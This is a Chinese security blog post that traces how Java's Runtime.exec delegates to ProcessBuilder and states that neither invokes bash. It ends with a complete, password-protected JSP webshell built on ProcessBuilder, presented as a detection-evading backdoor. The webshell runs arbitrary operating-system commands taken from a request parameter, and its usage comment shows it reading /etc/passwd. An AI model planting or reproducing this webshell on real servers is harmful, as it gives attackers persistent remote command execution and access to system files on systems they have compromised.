浅析JAVA Runtime原理与过各大厂商免杀webshell制作

Author:Sevck

Date:2017年6月24日

昨天在网络尖刀老年活动中心群里，忽然想到一个问题，就是JAVA在运行Runtime执行命令的时候会不会调用bash，因为php等语言会调用bash进行命令：

我：JAVA在执行命令的时候会不会调用bash?

Feng : processbuilder

我:

     /**

     * Executes the specified command and arguments in a separate process.

     *

     */

    public Process exec(String cmdarray[]) throws IOException {

        return exec(cmdarray, null, null);

    }

我 : 只有 Runtime.exec("/bin/bash xxxxx")才调bash

好奇JAVA的Runtime是如何实现的，去翻阅JAVA源码查看实现方法：

Runtime执行实例：

Runtime.getRuntime().exec("TODO");

实现代码(文件代码：java/lang/Runtime.java 346 行)：

// 方法1
public Process exec(String command) throws IOException {

        return exec(command, null, null);

    }

// 方法2

public Process exec(String command, String[] envp) throws IOException {

        return exec(command, envp, null);

    }

// 方法3

public Process exec(String command, String[] envp, File dir)

        throws IOException {

        if (command.length() == 0)

            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);

        String[] cmdarray = new String[st.countTokens()];

        for (int i = 0; st.hasMoreTokens(); i++)

            cmdarray[i] = st.nextToken();

        return exec(cmdarray, envp, dir);

    }

// 方法4

public Process exec(String cmdarray[]) throws IOException {

        return exec(cmdarray, null, null);

    }

// 方法5

public Process exec(String[] cmdarray, String[] envp) throws IOException {

        return exec(cmdarray, envp, null);

// 方法6

public Process exec(String[] cmdarray, String[] envp, File dir)

        throws IOException {

        return new ProcessBuilder(cmdarray)

            .environment(envp)

            .directory(dir)

            .start();

    }

    }

从上面可以看出几个重要的信息：

方法1和方法2调用的是方法3
方法3调用的是方法6
方法4和方法5调用的也是方法6
方法6创建了一个ProcessBuilder对象

至此，是Runtime.getRuntime().exec("TODO")的实现原理，但是还是没有详细的解释清楚是如何实现的，只是说调用了ProcessBuilder类。

ProcessBuilder是J2SE 1.5之后新增的类，此类用于创建操作系统进程，它提供一种启动和管理进程（也就是应用程序）的方法。在J2SE 1.5之前，都是由Process类处来实现进程的控制管理。

Process和ProcessBuilder的关系：

每个 ProcessBuilder 实例管理一个进程属性集。它的start() 方法利用这些属性创建一个新的 Process 实例。start() 方法可以从同一实例重复调用，以利用相同的或相关的属性创建新的子进程。

ProcessBuilder为进程提供了更多的控制，例如，可以设置当前工作目录，还可以改变环境参数。而Process的功能相对来说简单的多。
ProcessBuilder是一个final类，有两个带参数的构造方法，你可以通过构造方法来直接创建ProcessBuilder的对象。而Process是一个抽象类，一般都通过Runtime.exec()和ProcessBuilder.start()来间接创建其实例。

ProcessBuilder：

　　java.lang.ProcessBuilder，父类Object.

源码ProcessBuilder类的注释：

This class is used to create operating system processes.
Each ProcessBuilder instance manages a collection of process attributes.
The start() method creates a new Process instance with those attributes.
The start() method can be invoked repeatedly from the same instance to create new subprocesses with identical or related attributes.

真对该类有更详细的解释，详情请看：https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html

所以，在执行Runtime的时候或者执行Process再者ProcessBuilder都是在进程中执行的，所以也不会调用bash。

除非一些webshell在调用执行命令的时候指定了bash，例如Runtime.getRuntime().exec("/bin/bash -c id");

利用ProcessBuilder简单写一个webshell:

<%--

  Created by IntelliJ IDEA.

  User: sevck

  Date: 2017/6/24

  Time: 10:06

  To change this template use File | Settings | File Templates.

--%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="java.lang.Process" %>

<html>

<head>

    <title>jsp shell file</title>

</head>

<body>

<%

    /*

    Use: http://127.0.0.1/shell.jsp?pwd=sevck&cmd=cat@/etc/passwd

     */

    // Verify OS Windows or Linux

    String os = System.getProperty("os.name");

    if(os.toLowerCase().startsWith("win")){

        out.print("windows");

    }else{

        out.print("Linux");

    }

    if(request.getParameter("cmd") != null && request.getParameter("pwd").equals("sevck") ){

        // Request Parameter cmd  contents conversion String to Strings args.

        String command = request.getParameter("cmd");

        String [] args = command.split("@");

        try {

            // Create Process In the process, the received parameter is an array.

            ProcessBuilder pb = new ProcessBuilder(args);

            // Setup Process Output Result (Normal and Error)

            pb.redirectErrorStream(true);

            // Start Process

            Process pro = pb.start();

        }catch (Exception e){

            // TODO

            String error =e.getMessage();

        }

    }else {

        out.print("业务测试");

    }

%>

</body>

</html>

这样，这个webshell就达到了任意命令执行: